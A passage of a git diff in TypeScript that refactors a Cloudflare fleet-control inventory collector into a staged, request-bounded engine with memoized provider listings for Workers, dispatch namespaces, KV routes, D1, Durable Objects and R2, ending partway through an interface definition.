environment: candidate.environment, - kind: 'stale-script-registration', - detail: `script inventory key '${key.name}' claims '${candidate.scriptName}'`, - }); - } - continue; - } - if ( - typeof candidate.scriptName !== 'string' || - typeof candidate.tenantTag !== 'string' || - typeof candidate.environment !== 'string' || - typeof candidate.policyId !== 'string' || - typeof candidate.policyDigest !== 'string' || - !Array.isArray(candidate.policyHosts) || - candidate.policyHosts.some((host) => typeof host !== 'string') - ) { - findings.push({ - tenantTag: - typeof candidate.tenantTag === 'string' - ? candidate.tenantTag - : 'unknown', - environment: - typeof candidate.environment === 'string' - ? candidate.environment - : 'unknown', - kind: 'malformed-route', - detail: `host route '${key.name}' has incomplete ownership metadata`, - }); - continue; - } - let policy: ReturnType; - try { - policy = canonicalDeploymentEgressPolicy({ - policyId: candidate.policyId, - tenantTag: candidate.tenantTag, - environment: candidate.environment, - allowedHosts: candidate.policyHosts as string[], - }); - } catch { - findings.push({ - tenantTag: candidate.tenantTag, - environment: candidate.environment, - kind: 'malformed-route', - detail: `host route '${key.name}' has invalid policy metadata`, - }); - continue; - } - if ( - candidate.policyDigest !== policy.policyDigest || - JSON.stringify(candidate.policyHosts) !== - JSON.stringify(policy.policyHosts) - ) { - findings.push({ - tenantTag: candidate.tenantTag, - environment: candidate.environment, - kind: 'malformed-route', - detail: `host route '${key.name}' has inconsistent policy metadata`, - }); - continue; - } - let stateEgress: HostRoutingTarget['stateEgress']; - try { - stateEgress = (await parseHostRoutingTarget(serialized)).stateEgress; - } catch { - findings.push({ - tenantTag: candidate.tenantTag, - environment: candidate.environment, - kind: 'malformed-route', - detail: `host route '${key.name}' has invalid state-egress metadata`, - }); - continue; - } - if (!candidate.scriptName.startsWith(options.scriptNamePrefix)) - continue; - routes.push({ - backend: 'workers-for-platforms', - surface: 'host-registry', - hostname: key.name, - scriptName: candidate.scriptName, - tenantTag: candidate.tenantTag, - environment: candidate.environment, - ...policy, - ...(stateEgress ? { stateEgress } : {}), - }); - } - } - - const includeDispatchNamespace = - options.includeDispatchNamespace ?? options.hostRoutingKvId !== undefined; - const dispatchScripts = includeDispatchNamespace - ? await this.#dispatchScripts( - this.#requireDispatchNamespace('collectFleetInventory'), - ) - : []; - const dispatchScriptsByName = new Map( - dispatchScripts.map((script) => [script.id, script]), + const runOptions = canonicalFleetInventoryRunOptions(options); + const context = this.#fleetInventoryContext(); + const rows: FleetInventoryStagedRow[] = []; + const facts: FleetInventoryStagedFact[] = []; + let progress = initialFleetInventoryProgress( + initialFleetInventoryStage(runOptions), + DRAIN_GENERATION, ); - const deployments: FleetResourceInventory['deployments'][number][] = []; - for (const registration of registrations) { - const listed = dispatchScriptsByName.get(registration.scriptName); - if (includeDispatchNamespace && !listed) { - findings.push({ - tenantTag: registration.tenantTag, - environment: registration.environment, - kind: 'stale-script-registration', - detail: `registered script '${registration.scriptName}' is absent from the dispatch namespace listing`, - }); - } - if ( - includeDispatchNamespace && - listed && - (!listed.tags.includes(FLEET_SCRIPT_TAG) || - tagValue(listed.tags, 'tenant:') !== registration.tenantTag || - tagValue(listed.tags, 'environment:') !== registration.environment) - ) { - findings.push({ - tenantTag: registration.tenantTag, - environment: registration.environment, - kind: 'stale-script-registration', - detail: `registered script '${registration.scriptName}' does not match its live fleet tags`, - }); - } - let live: Awaited>; - try { - live = await this.inspectDispatchWorker(registration.scriptName); - } catch (error) { - if (error instanceof CloudflarePlaneCapabilityError) throw error; - findings.push({ - tenantTag: registration.tenantTag, - environment: registration.environment, - kind: 'stale-script-registration', - detail: `registered script '${registration.scriptName}' could not be inspected: ${String(error)}`, - }); - continue; - } - if (!live) { - findings.push({ - tenantTag: registration.tenantTag, - environment: registration.environment, - kind: 'stale-script-registration', - detail: `registered script '${registration.scriptName}' is missing`, - }); - continue; - } - deployments.push({ - backend: 'workers-for-platforms', - scriptName: registration.scriptName, - tenantTag: live.tenantTag, - environment: live.environment, - databaseIds: live.databaseIds, - durableObjectBindings: live.durableObjectBindings, - serviceBindings: live.serviceBindings, - queueProducerBindings: live.queueProducerBindings, - r2BucketBindings: live.r2BucketBindings, - plainTextBindings: live.plainTextBindings, - secretNames: live.secretNames, - routeHostnames: routes - .filter( - (route) => - route.backend === 'workers-for-platforms' && - route.scriptName === registration.scriptName, - ) - .map((route) => route.hostname), - artifactVersion: live.artifactVersion, - desiredSpecDigest: live.desiredSpecDigest, - schemaVersion: live.schemaVersion, - }); - const ownerMatches = - registration.keyOwned && - live.tenantTag === registration.tenantTag && - live.environment === registration.environment && - live.databaseIds.length === 1 && - live.databaseIds[0] === registration.databaseId; - if (!ownerMatches && registration.keyOwned) { - findings.push({ - tenantTag: registration.tenantTag, - environment: registration.environment, - kind: 'stale-script-registration', - detail: `registered script '${registration.scriptName}' does not match its live tenant, environment, or database ownership`, - }); - } - } - const registrationByScript = new Map( - registrations.map((registration) => [ - registration.scriptName, - registration, - ]), - ); - for (const script of dispatchScripts) { - const registration = registrationByScript.get(script.id); - if (registration?.keyOwned) continue; - findings.push({ - tenantTag: tagValue(script.tags, 'tenant:') ?? 'unknown', - environment: tagValue(script.tags, 'environment:') ?? 'unknown', - kind: 'unknown-dispatch-scripts', - detail: `dispatch script '${script.id}' has no valid owner-checked registry entry`, + while (progress.stage.step !== 'finalize') { + const executed = progress.stage; + const result = await context.advanceStage({ + stage: executed, + options: runOptions, + progress, + maxProviderRequests: DRAIN_PROVIDER_REQUEST_BUDGET, }); + rows.push(...drainFindingRows(result)); + facts.push(...result.facts); + progress = advanceFleetInventoryProgress(progress, executed, result); } - for (const route of routes) { - if (route.backend !== 'workers-for-platforms') continue; - const registration = registrationByScript.get(route.scriptName); - if ( - !registration?.keyOwned || - registration.tenantTag !== route.tenantTag || - registration.environment !== route.environment || - registration.routeHostname !== route.hostname - ) { - findings.push({ - tenantTag: route.tenantTag, - environment: route.environment, - kind: 'stale-route', - detail: `host route '${route.hostname}' does not match its script registration owner`, - }); - } - } - - let dispatchScriptCount: number | undefined; - let dispatchNamespaceInventory: FleetResourceInventory['dispatchNamespace']; - if (includeDispatchNamespace) { - const dispatchNamespace = this.#requireDispatchNamespace( - 'collectFleetInventory', - ); - const namespaceInventory = - await this.#client.workersForPlatforms.dispatch.namespaces.get( - dispatchNamespace, - { account_id: this.#accountId }, - ); - dispatchScriptCount = namespaceInventory.script_count; - if ( - typeof dispatchScriptCount !== 'number' || - !Number.isSafeInteger(dispatchScriptCount) || - dispatchScriptCount < 0 - ) { - throw new Error( - `dispatch namespace '${dispatchNamespace}' returned no valid script_count`, - ); - } - dispatchNamespaceInventory = { - name: namespaceInventory.namespace_name ?? dispatchNamespace, - ...(namespaceInventory.namespace_id - ? { namespaceId: namespaceInventory.namespace_id } - : {}), - trustedWorkers: namespaceInventory.trusted_workers, - scriptCount: dispatchScriptCount, - }; - if ( - namespaceInventory.namespace_name !== dispatchNamespace || - namespaceInventory.trusted_workers !== false - ) { - findings.push({ - tenantTag: 'unknown', - environment: 'unknown', - kind: 'trusted-dispatch-namespace', - detail: `dispatch namespace '${dispatchNamespace}' does not attest trusted_workers=false`, - }); - } - if (dispatchScriptCount > dispatchScripts.length) { - findings.push({ - tenantTag: 'unknown', - environment: 'unknown', - kind: 'unknown-dispatch-scripts', - detail: `dispatch namespace '${dispatchNamespace}' reports ${dispatchScriptCount - dispatchScripts.length} script(s) missing from the paginated listing`, - }); - } - } + return materializeFleetInventoryGeneration({ + rows, + facts, + options: runOptions, + }); + } - const customDomains = []; - for await (const domain of this.#collectBounded( - this.#client.workers.domains.list({ account_id: this.#accountId }), - 'custom domain inventory', - )) { - if (domain.service.startsWith(options.scriptNamePrefix)) { - customDomains.push(domain); - } - } - const zoneRoutes: Array< - import('./types.js').WorkerZoneRoute & { readonly scriptName: string } - > = []; - const workerRouteZoneIds = await this.#workerRouteZoneIds(); - for (const zoneId of workerRouteZoneIds) { - for await (const route of this.#collectBounded( - this.#client.workers.routes.list({ zone_id: zoneId }), - 'Worker zone-route inventory', - )) { - if ( - route.script?.startsWith(options.scriptNamePrefix) && - route.id && - route.pattern - ) { - zoneRoutes.push({ - zoneId, - routeId: route.id, - pattern: route.pattern, - scriptName: route.script, - }); - } - } - } - const plainIdentities = new Map< - string, - { readonly tenantTag: string; readonly environment: string } - >(); - for await (const script of this.#collectBounded( - this.#client.workers.scripts.list({ account_id: this.#accountId }), - 'ordinary Worker script inventory', - )) { - const scriptName = script.id; - if (!scriptName?.startsWith(options.scriptNamePrefix)) continue; - try { - const deploymentList = - await this.#client.workers.scripts.deployments.list(scriptName, { - account_id: this.#accountId, - }); - const activeDeployment = deploymentList.deployments[0]; - const artifactVersion = exactActiveVersionId( - activeDeployment, - `ordinary Worker '${scriptName}'`, - ); - const [activeVersion, subdomain, secretNames] = await Promise.all([ - this.#client.workers.scripts.versions.get(artifactVersion, { - account_id: this.#accountId, - script_name: scriptName, - }), - this.#client.workers.scripts.subdomain.get(scriptName, { + /** + * Builds the narrow provider seam the bounded inventory engine drives. Stages + * are stateless and re-read their prerequisites, so every listing is memoized + * for the lifetime of ONE context; without that the in-memory drain would + * repeat provider requests the frozen baseline pins. + */ + #fleetInventoryDeps(): CloudflareFleetInventoryDeps { + const pending = new Map>(); + /** Caches one provider listing for the lifetime of a single context, which + * is one bounded run or one `collectFleetInventory` call. */ + const memoizePerContext = ( + key: string, + compute: () => Promise, + ): Promise => { + const existing = pending.get(key); + if (existing !== undefined) return existing as Promise; + const started = compute(); + pending.set(key, started); + return started; + }; + const dispatchPages = new Map(); + const attachmentScan: CloudflareWorkerAttachmentScanContext = { + ...this.#attachmentScan, + requestDispatchScriptPage: async (input) => { + const key = `${input.namespace}\u0000${input.cursor ?? ''}\u0000${input.perPage}`; + const cached = dispatchPages.get(key); + if (cached !== undefined) return cached.clone(); + const response = + await this.#attachmentScan.requestDispatchScriptPage(input); + // Only a successful page is reusable; a 429 or 5xx must still reach the + // provider again so the shared retry contract keeps its parity. + if (response.ok) dispatchPages.set(key, response.clone()); + return response; + }, + }; + return { + attachmentScan, + dispatchNamespace: () => + this.#requireDispatchNamespace('collectFleetInventory'), + isDispatchCapabilityError: (error) => + error instanceof CloudflarePlaneCapabilityError, + listHostRoutingKeys: async ({ namespaceId }) => + memoizePerContext(`kv-keys:${namespaceId}`, async () => { + const keys: { name?: string }[] = []; + for await (const key of this.#collectBounded( + this.#client.kv.namespaces.keys.list(namespaceId, { + account_id: this.#accountId, + }), + 'host-routing KV key inventory', + )) { + keys.push({ + ...(key.name === undefined ? {} : { name: key.name }), + }); + } + return { keys }; + }), + readHostRoutingValue: async ({ namespaceId, keyName }) => + memoizePerContext(`kv-value:${namespaceId}\u0000${keyName}`, () => + this.#readHostRouting(namespaceId, keyName), + ), + inspectDispatchWorker: async ({ scriptName }) => + memoizePerContext(`dispatch-worker:${scriptName}`, () => + this.inspectDispatchWorker(scriptName), + ), + getDispatchNamespace: async ({ namespace }) => + memoizePerContext(`dispatch-namespace:${namespace}`, () => + this.#client.workersForPlatforms.dispatch.namespaces.get(namespace, { account_id: this.#accountId, }), - ordinaryWorkerSecretNames(this.#ordinary, scriptName), - ]); - const bindings = activeVersion.resources.bindings ?? []; - const databaseIds = bindings.flatMap((binding) => - binding.type === 'd1' && binding.database_id - ? [binding.database_id] - : [], - ); - const durableObjectBindings = bindings.flatMap((binding) => { - if ( - binding.type !== 'durable_object_namespace' || - !binding.namespace_id || - !binding.name || - !binding.class_name - ) { - return []; + ), + listCustomDomains: async () => + memoizePerContext('custom-domains', async () => { + const domains: { hostname: string; service: string }[] = []; + for await (const domain of this.#collectBounded( + this.#client.workers.domains.list({ account_id: this.#accountId }), + 'custom domain inventory', + )) { + domains.push({ + hostname: domain.hostname, + service: domain.service, + }); } - return [ - { - name: binding.name, - className: binding.class_name, - namespaceId: binding.namespace_id, - ...(binding.script_name - ? { scriptName: binding.script_name } - : {}), - ...(binding.dispatch_namespace - ? { dispatchNamespace: binding.dispatch_namespace } - : {}), - }, - ]; - }); - const serviceBindings = bindings.flatMap((binding) => - binding.type === 'service' && binding.name && binding.service - ? [ - { - name: binding.name, - service: binding.service, - ...(binding.entrypoint - ? { entrypoint: binding.entrypoint } - : {}), - }, - ] - : [], - ); - const queueProducerBindings = bindings.flatMap((binding) => - binding.type === 'queue' && binding.name && binding.queue_name - ? [{ name: binding.name, queueName: binding.queue_name }] - : [], - ); - const kvNamespaceBindings = bindings.flatMap((binding) => - binding.type === 'kv_namespace' && - binding.name && - binding.namespace_id - ? [{ name: binding.name, namespaceId: binding.namespace_id }] - : [], - ); - const r2BucketBindings = bindings.flatMap((binding) => - binding.type === 'r2_bucket' && binding.name && binding.bucket_name - ? [ - { - name: binding.name, - bucketName: binding.bucket_name, - jurisdiction: 'default' as const, - }, - ] - : [], - ); - const plainText = new Map( - bindings.flatMap((binding) => - binding.type === 'plain_text' - ? [[binding.name, binding.text] as const] - : [], - ), - ); - assertSupportedProviderBindings( - bindings, - new Set([ - 'd1', - 'durable_object_namespace', - 'service', - 'queue', - 'kv_namespace', - 'dispatch_namespace', - 'r2_bucket', - 'plain_text', - 'secret_text', - ]), - `plain Worker '${scriptName}'`, - ); - const tenantTag = plainText.get('DEPLOYMENT_TENANT'); - const environment = plainText.get('FLEET_ENVIRONMENT'); - const resourceRole = plainText.get('FLEET_RESOURCE_ROLE'); - const resourceGroupId = plainText.get('FLEET_RESOURCE_GROUP'); - const schemaVersion = Number(plainText.get('FLEET_SCHEMA_VERSION')); - const scriptZoneRoutes = zoneRoutes.filter( - (route) => route.scriptName === scriptName, - ); - if ( - !tenantTag || - !environment || - !Number.isSafeInteger(schemaVersion) - ) { - throw new Error('active Worker identity settings are missing'); - } - if ( - (resourceRole === 'platform-state' || - resourceRole === 'deployment-egress') && - (subdomain.enabled || - subdomain.previews_enabled || - scriptZoneRoutes.length > 0) - ) { - findings.push({ - tenantTag, - environment, - kind: 'incomplete-deployment', - detail: `trusted Worker '${scriptName}' is publicly reachable on workers.dev, a preview URL, or a zone route`, - }); - } - plainIdentities.set(scriptName, { tenantTag, environment }); - deployments.push({ - backend: 'plain-worker', - ...(resourceRole === 'platform-state' || - resourceRole === 'deployment-egress' - ? { resourceRole, resourceGroupId } - : {}), - scriptName, - tenantTag, - environment, - databaseIds, - durableObjectBindings, - serviceBindings, - queueProducerBindings, - kvNamespaceBindings, - r2BucketBindings, - secretNames, - plainTextBindings: Object.fromEntries(plainText), - routeHostnames: customDomains - .filter((domain) => domain.service === scriptName) - .map((domain) => domain.hostname), - zoneRoutes: scriptZoneRoutes.map( - ({ scriptName: _scriptName, ...route }) => route, - ), - artifactVersion, - ...(plainText.get('FLEET_SPEC_DIGEST') - ? { desiredSpecDigest: plainText.get('FLEET_SPEC_DIGEST') } - : {}), - schemaVersion, - }); - } catch (error) { - findings.push({ - tenantTag: 'unknown', - environment: 'unknown', - kind: 'incomplete-deployment', - detail: `plain Worker '${scriptName}' could not be inventoried: ${String(error)}`, - }); - } - } - for (const domain of customDomains) { - const identity = plainIdentities.get(domain.service); - routes.push({ - backend: 'plain-worker', - surface: 'custom-domain', - hostname: domain.hostname, - scriptName: domain.service, - tenantTag: identity?.tenantTag ?? 'unknown', - environment: identity?.environment ?? 'unknown', - }); - if (!identity) { - findings.push({ - tenantTag: 'unknown', - environment: 'unknown', - kind: 'stale-route', - detail: `custom domain '${domain.hostname}' points to a missing or incomplete plain Worker '${domain.service}'`, - }); - } - } - for (const route of zoneRoutes) { - const identity = plainIdentities.get(route.scriptName); - routes.push({ - backend: 'plain-worker', - surface: 'zone-route', - zoneId: route.zoneId, - routeId: route.routeId, - hostname: route.pattern, - scriptName: route.scriptName, - tenantTag: identity?.tenantTag ?? 'unknown', - environment: identity?.environment ?? 'unknown', - }); - findings.push({ - tenantTag: identity?.tenantTag ?? 'unknown', - environment: identity?.environment ?? 'unknown', - kind: 'stale-route', - detail: `zone route '${route.pattern}' exposes plain Worker '${route.scriptName}'`, - }); - } + return { domains }; + }), + listWorkerRouteZoneIds: async () => + memoizePerContext('zone-ids', () => this.#workerRouteZoneIds()), + listZoneRoutes: async ({ zoneId }) => + memoizePerContext(`zone-routes:${zoneId}`, async () => { + const routes: { + id?: string; + pattern?: string; + script?: string; + }[] = []; + for await (const route of this.#collectBounded( + this.#client.workers.routes.list({ zone_id: zoneId }), + 'Worker zone-route inventory', + )) { + routes.push({ + ...(route.id === undefined ? {} : { id: route.id }), + ...(route.pattern === undefined + ? {} + : { pattern: route.pattern }), + ...(route.script === undefined ? {} : { script: route.script }), + }); + } + return { routes }; + }), + listOrdinaryScripts: async () => + memoizePerContext('ordinary-scripts', async () => { + const scripts: { id?: string }[] = []; + for await (const script of this.#collectBounded( + this.#client.workers.scripts.list({ account_id: this.#accountId }), + 'ordinary Worker script inventory', + )) { + scripts.push({ + ...(script.id === undefined ? {} : { id: script.id }), + }); + } + return { scripts }; + }), + readOrdinaryScriptDetail: async ({ scriptName }) => + memoizePerContext(`ordinary-detail:${scriptName}`, () => + this.#readOrdinaryScriptDetail(scriptName), + ), + listDatabases: async () => + memoizePerContext('d1-databases', async () => { + const databases: { uuid?: string; name?: string }[] = []; + for await (const database of this.#collectBounded( + this.#client.d1.database.list({ account_id: this.#accountId }), + 'D1 database inventory', + MAX_DATABASE_INVENTORY, + )) { + databases.push({ + ...(database.uuid === undefined ? {} : { uuid: database.uuid }), + ...(database.name === undefined ? {} : { name: database.name }), + }); + } + return { databases }; + }), + listDurableObjectNamespaces: async () => + memoizePerContext('do-namespaces', async () => { + const namespaces: { id?: string; script?: string }[] = []; + for await (const namespace of this.#collectBounded( + this.#client.durableObjects.namespaces.list({ + account_id: this.#accountId, + }), + 'Durable Object namespace inventory', + )) { + namespaces.push({ + ...(namespace.id === undefined ? {} : { id: namespace.id }), + ...(namespace.script === undefined + ? {} + : { script: namespace.script }), + }); + } + return { namespaces }; + }), + listR2Buckets: async ({ jurisdiction, namePrefix, startAfter }) => + memoizePerContext( + `r2:${jurisdiction}\u0000${startAfter ?? ''}\u0000${namePrefix}`, + async () => { + const page = await this.#client.r2.buckets.list({ + account_id: this.#accountId, + jurisdiction, + name_contains: namePrefix, + order: 'name', + direction: 'asc', + per_page: R2_INVENTORY_PAGE_SIZE, + ...(startAfter ? { start_after: startAfter } : {}), + }); + return { buckets: page.buckets ?? [] }; + }, + ), + }; + } - const databaseIds: string[] = []; - for await (const database of this.#collectBounded( - this.#client.d1.database.list({ account_id: this.#accountId }), - 'D1 database inventory', - MAX_DATABASE_INVENTORY, - )) { - if ( - database.uuid && - database.name?.startsWith(options.databaseNamePrefix) - ) { - databaseIds.push(database.uuid); - } - } - const namespaceIds: string[] = []; - const registeredScriptNames = new Set( - registrations.map((registration) => registration.scriptName), + /** + * Resolves one ordinary Worker's active artifact exactly as the single-pass + * drain did inside its per-script `try`, so an unsupported binding or a + * missing active version still becomes the `incomplete-deployment` finding. + */ + async #readOrdinaryScriptDetail( + scriptName: string, + ): Promise { + const deploymentList = await this.#client.workers.scripts.deployments.list( + scriptName, + { account_id: this.#accountId }, ); - for await (const namespace of this.#collectBounded( - this.#client.durableObjects.namespaces.list({ + const artifactVersion = exactActiveVersionId( + deploymentList.deployments[0], + `ordinary Worker '${scriptName}'`, + ); + const [activeVersion, subdomain, secretNames] = await Promise.all([ + this.#client.workers.scripts.versions.get(artifactVersion, { account_id: this.#accountId, + script_name: scriptName, }), - 'Durable Object namespace inventory', - )) { - if ( - namespace.id && - namespace.script && - (registeredScriptNames.has(namespace.script) || - namespace.script.startsWith(options.scriptNamePrefix)) - ) { - namespaceIds.push(namespace.id); - } - } - const r2Buckets: Array< - NonNullable[number] - > = []; - for (const jurisdiction of options.includeR2Buckets - ? (['default', 'eu', 'fedramp'] as const) - : []) { - let startAfter: string | undefined; - for (;;) { - const page = await this.#client.r2.buckets.list({ - account_id: this.#accountId, - jurisdiction, - name_contains: options.scriptNamePrefix, - order: 'name', - direction: 'asc', - per_page: 1000, - ...(startAfter ? { start_after: startAfter } : {}), - }); - const buckets = page.buckets ?? []; - for (const bucket of buckets) { - if (!bucket.name?.startsWith(options.scriptNamePrefix)) continue; - if ( - bucket.jurisdiction !== undefined && - bucket.jurisdiction !== jurisdiction - ) { - throw new Error(`R2 bucket '${bucket.name}' changed jurisdiction`); - } - if ( - !bucket.creation_date || - !Number.isFinite(Date.parse(bucket.creation_date)) - ) { - throw new Error( - `R2 bucket '${bucket.name}' has no valid creation date`, - ); - } - if (r2Buckets.length >= CLOUDFLARE_INVENTORY_BOUND) { - // The bound counts only accepted fleet-owned buckets, not every - // provider item scanned while filtering by prefix. - throw inventoryBoundExceeded( - 'R2 bucket inventory', - CLOUDFLARE_INVENTORY_BOUND, - ); - } - r2Buckets.push({ - bucketName: bucket.name, - jurisdiction, - creationDate: new Date(bucket.creation_date).toISOString(), - }); - } - if (buckets.length < 1000) break; - const last = buckets.at(-1)?.name; - if (!last || last === startAfter) { - throw new Error('R2 bucket inventory pagination did not advance'); - } - startAfter = last; - } - } + this.#client.workers.scripts.subdomain.get(scriptName, { + account_id: this.#accountId, + }), + ordinaryWorkerSecretNames(this.#ordinary, scriptName), + ]); + const bindings = activeVersion.resources.bindings ?? []; + assertSupportedProviderBindings( + bindings, + new Set([ + 'd1', + 'durable_object_namespace', + 'service', + 'queue', + 'kv_namespace', + 'dispatch_namespace', + 'r2_bucket', + 'plain_text', + 'secret_text', + ]), + `plain Worker '${scriptName}'`, + ); return { - findings, - ...(options.hostRoutingKvId - ? { hostRoutingKvId: options.hostRoutingKvId } - : {}), - dispatchScriptCount, - ...(dispatchNamespaceInventory - ? { dispatchNamespace: dispatchNamespaceInventory } - : {}), - scriptRegistrations: registrations.map( - ({ keyOwned: _keyOwned, ...registration }) => registration, - ), - deployments, - databaseIds, - namespaceIds, - r2Buckets, - routes, + artifactVersion, + bindings: bindings as readonly FleetInventoryProviderBinding[], + subdomainEnabled: Boolean(subdomain.enabled), + previewsEnabled: Boolean(subdomain.previews_enabled), + secretNames, + }; + } + + #fleetInventoryContext(): FleetInventoryProviderContext { + const deps = this.#fleetInventoryDeps(); + return { + advanceStage: (input) => + advanceCloudflareFleetInventoryStage(deps, input), }; } diff --git a/packages/fleet-control/src/cloudflare-fleet-inventory.ts b/packages/fleet-control/src/cloudflare-fleet-inventory.ts new file mode 100644 index 00000000..88e1b895 --- /dev/null +++ b/packages/fleet-control/src/cloudflare-fleet-inventory.ts @@ -0,0 +1,2064 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { domainToASCII } from 'node:url'; +import { + CLOUDFLARE_INVENTORY_BOUND, + inventoryBoundExceeded, +} from './cloudflare-client-config.js'; +import { MAX_DATABASE_INVENTORY } from './cloudflare-ordinary-worker-operations.js'; +import { + type CloudflareWorkerAttachmentScanContext, + listDispatchScriptPage, +} from './cloudflare-worker-attachment-scan.js'; +// The 9..1,000 provider-request contract and its refusal bytes are shared with +// the attachment scanner; duplicating the message would let the two drift. +import { assertWorkerAttachmentProviderRequestBudget } from './cloudflare-worker-attachment-scan-state.js'; +import { + assertInventoryFindingValue, + assertNoCredentialInInventoryText, + type FleetInventoryDeploymentFactKind, + type FleetInventoryRowKind, + type FleetInventoryRunOptions, + type FleetInventoryStage, + type FleetInventoryStagedFact, + type FleetInventoryStagedRow, + type FleetInventoryStageInput, + type FleetInventoryStageResult, + type FleetInventoryStageStep, + fleetInventoryStageFromUnknown, + fleetInventoryStageKey, + isInventoryKeyNameShape, + nextStage, +} from './fleet-inventory-state.js'; +import { + type HostRoutingTarget, + parseHostRoutingTarget, +} from './host-routing.js'; +import { canonicalDeploymentEgressPolicy } from './platform-resources.js'; +import type { FleetInventoryFinding, WorkerZoneRoute } from './types.js'; + +/** + * The registry key prefix and fleet tag are private to the Cloudflare client + * today. The engine must not import the client (the one-way layer rule), so it + * carries the same two literals; a byte change in either place is a behavior + * change that the golden drain baseline catches. + */ +const SCRIPT_INVENTORY_PREFIX = '__anchorage_script__:'; +const FLEET_SCRIPT_TAG = 'fleet:anchorage'; +const DISPATCH_PAGE_SIZE = 1_000; +const DISPATCH_PAGE_BOUND = 100; +const R2_PAGE_SIZE = 1_000; +const R2_JURISDICTIONS = Object.freeze(['default', 'eu', 'fedramp'] as const); +const NON_ASCII = /[^\p{ASCII}]/u; + +/** The frozen finding vocabulary every staged finding row must name. */ +type FleetInventoryFindingKind = FleetInventoryFinding['kind']; + +/** One R2 jurisdiction, in today's fixed encounter order. */ +export type FleetInventoryR2Jurisdiction = (typeof R2_JURISDICTIONS)[number]; + +/** A provider binding as the account API returns it. */ +export interface FleetInventoryProviderBinding { + readonly type?: string; + readonly name?: string; + readonly text?: string; + readonly database_id?: string; + readonly namespace_id?: string; + readonly class_name?: string; + readonly script_name?: string; + readonly dispatch_namespace?: string; + readonly service?: string; + readonly entrypoint?: string; + readonly queue_name?: string; + readonly bucket_name?: string; +} + +/** One page of host-routing KV key names. */ +export interface FleetInventoryKeyPage { + readonly keys: readonly Readonly<{ name?: string }>[]; + readonly cursor?: string; +} + +/** One page of Worker custom domains. */ +export interface FleetInventoryDomainPage { + readonly domains: readonly Readonly<{ hostname: string; service: string }>[]; + readonly cursor?: string; +} + +/** One page of Worker zone routes for a single zone. */ +export interface FleetInventoryZoneRoutePage { + readonly routes: readonly Readonly<{ + id?: string; + pattern?: string; + script?: string; + }>[]; + readonly cursor?: string; +} + +/** One page of ordinary Worker scripts. */ +export interface FleetInventoryScriptPage { + readonly scripts: readonly Readonly<{ id?: string }>[]; + readonly cursor?: string; +} + +/** One page of D1 databases. */ +export interface FleetInventoryDatabasePage { + readonly databases: readonly Readonly<{ uuid?: string; name?: string }>[]; + readonly cursor?: string; +} + +/** One page of Durable Object namespaces. */ +export interface FleetInventoryNamespacePage { + readonly namespaces: readonly Readonly<{ id?: string; script?: string }>[]; + readonly cursor?: string; +} + +/** One page of R2 buckets inside one jurisdiction. */ +export interface FleetInventoryBucketPage { + readonly buckets: readonly Readonly<{ + name?: string; + jurisdiction?: string; + creation_date?: string; + }>[]; +} + +/** Dispatch namespace attestation fields, as the provider returns them. */ +export interface FleetInventoryDispatchNamespace { + readonly namespace_name?: string; + readonly namespace_id?: string; + readonly trusted_workers?: boolean; + readonly script_count?: number; +} + +/** Live dispatch Worker inspection, mirroring `inspectDispatchWorker`. */ +export interface FleetInventoryDispatchWorker { + readonly artifactVersion: string; + readonly tenantTag: string; + readonly environment: string; + readonly schemaVersion: number; + readonly desiredSpecDigest: string; + readonly databaseIds: readonly string[]; + readonly durableObjectBindings: readonly Readonly<{ + name: string; + className: string; + namespaceId: string; + scriptName?: string; + dispatchNamespace?: string; + }>[]; + readonly serviceBindings: readonly Readonly<{ + name: string; + service: string; + entrypoint?: string; + }>[]; + readonly queueProducerBindings: readonly Readonly<{ + name: string; + queueName: string; + }>[]; + readonly r2BucketBindings: readonly Readonly<{ + name: string; + bucketName: string; + jurisdiction: string; + }>[]; + readonly secretNames: readonly string[]; + readonly plainTextBindings: Readonly>; +} + +/** + * One ordinary Worker's active artifact. The dependency resolves the exact + * active version and refuses unsupported bindings, exactly as the single-pass + * drain does inside its per-script `try`, so a refusal becomes the + * `incomplete-deployment` finding rather than aborting the run. + */ +export interface FleetInventoryOrdinaryScriptDetail { + readonly artifactVersion: string; + readonly bindings: readonly FleetInventoryProviderBinding[]; + readonly subdomainEnabled: boolean; + readonly previewsEnabled: boolean; + readonly secretNames: readonly string[]; +} + +/** + * The narrow provider seam the bounded inventory engine drives. Each member is + * one provider operation and is charged one request against + * `maxProviderRequests`; composite members issue their own inner calls exactly + * as the single-pass drain does. + * + * A bounded chunk receives no staged rows, so a stage that needs an earlier + * stage's provider data re-reads it through these members. Implementations MAY + * memoize a listing for the lifetime of one in-memory drain, which is how the + * drain keeps today's request sequence. + */ +export interface CloudflareFleetInventoryDeps { + /** + * Context for the reused `listDispatchScriptPage`; the engine never + * duplicates dispatch pagination. Stage: `dispatch-pages` (and the + * re-reads in `registration-checks`/`registration-postprocess`). + */ + readonly attachmentScan: CloudflareWorkerAttachmentScanContext; + /** + * Configured dispatch namespace, refusing with today's plane-capability + * error when absent. Stages: `dispatch-pages`, + * `registration-postprocess`. + */ + dispatchNamespace(): string; + /** + * True for the plane-capability refusal, which + * `registration-checks` rethrows instead of recording a finding. + */ + isDispatchCapabilityError(error: unknown): boolean; + /** Stages: `host-kv-keys`, `host-kv-values` (key re-read). */ + listHostRoutingKeys( + input: Readonly<{ + namespaceId: string; + cursor?: string; + signal?: AbortSignal; + }>, + ): Promise; + /** Stage: `host-kv-values`. The dependency applies today's key casing. */ + readHostRoutingValue( + input: Readonly<{ + namespaceId: string; + keyName: string; + signal?: AbortSignal; + }>, + ): Promise; + /** Stage: `registration-checks`. */ + inspectDispatchWorker( + input: Readonly<{ scriptName: string; signal?: AbortSignal }>, + ): Promise; + /** Stage: `registration-postprocess`. */ + getDispatchNamespace( + input: Readonly<{ namespace: string; signal?: AbortSignal }>, + ): Promise; + /** + * Stages: `custom-domains`, `ordinary-script-detail` (route hostnames), + * `route-claims`. + */ + listCustomDomains( + input: Readonly<{ cursor?: string; signal?: AbortSignal }>, + ): Promise; + /** + * Token verification plus account-wide zone discovery. Stages: + * `zone-authority`, `zone-routes`, `ordinary-script-detail`, + * `route-claims`. + */ + listWorkerRouteZoneIds( + input: Readonly<{ signal?: AbortSignal }>, + ): Promise; + /** + * Stages: `zone-routes`, `ordinary-script-detail`, `route-claims`. + */ + listZoneRoutes( + input: Readonly<{ zoneId: string; cursor?: string; signal?: AbortSignal }>, + ): Promise; + /** Stages: `ordinary-scripts`, `ordinary-script-detail`, `route-claims`. */ + listOrdinaryScripts( + input: Readonly<{ cursor?: string; signal?: AbortSignal }>, + ): Promise; + 